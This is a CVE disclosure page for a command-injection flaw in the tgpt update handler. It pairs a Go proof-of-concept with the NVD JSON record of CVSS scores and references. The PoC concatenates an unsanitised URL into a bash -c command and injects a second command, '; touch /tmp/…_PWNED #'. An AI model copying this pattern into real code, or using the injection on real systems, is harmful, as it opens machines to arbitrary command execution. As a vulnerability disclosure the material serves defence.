CVE-2026-8210

package main import ( "fmt" "os/exec" ) // Simulation of the vulnerable helper.Update function in helper.go func vulnerableUpdateLogic(updateURL string) { // Vulnerability: Direct string concatenation into a shell command // In the real vulnerability, the input 'updateURL' is not sanitized. // An attacker can inject commands using shell metacharacters like ';' or '`'. command := "wget -O /tmp/tgpt_update " + updateURL + " && tar -xzf /tmp/tgpt_update" // Executing the command cmd := exec.Command("bash", "-c", command) output, err := cmd.CombinedOutput() if err != nil { fmt.Println("Error:", err) } else { fmt.Println("Update Output:", string(output)) } } func main() { // Normal usage scenario // vulnerableUpdateLogic("https://github.com/aandrew-me/tgpt/releases/download/v2.11.1/tgpt-linux-amd64.tar.gz") // Exploit scenario: Injecting a malicious command // Payload: ; touch /tmp/CVE-2026-8210_PWNED # // This creates a file to prove command execution, ignoring the rest of the original command. fmt.Println("[+] Attempting to exploit CVE-2026-8210...") maliciousInput := "https://example.com/fake.tar.gz; touch /tmp/CVE-2026-8210_PWNED #" vulnerableUpdateLogic(maliciousInput) fmt.Println("[+] Check /tmp/ for the PWNED file.") }

{"cve": {"id": "CVE-2026-8210", "sourceIdentifier": "[email protected]", "published": "2026-05-09T21:16:26.967", "lastModified": "2026-05-09T21:16:26.967", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security vulnerability has been detected in aandrew-me tgpt up to 2.11.1 on Linux/macOS. Affected by this vulnerability is the function helper.Update of the file helper.go of the component Update Handler. The manipulation leads to command injection. Local access is required to approach this attack. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.9, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 4.3, "accessVector": "LOCAL", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 3.1, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-77"}]}], "references": [{"url": "https://drive.google.com/file/d/19wRsehbhotZXgE1TjenFtS3w-zRtp-PW/view?usp=sharing", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/803594", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/362418", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/362418/cti", "source": "[email protected]"}]}}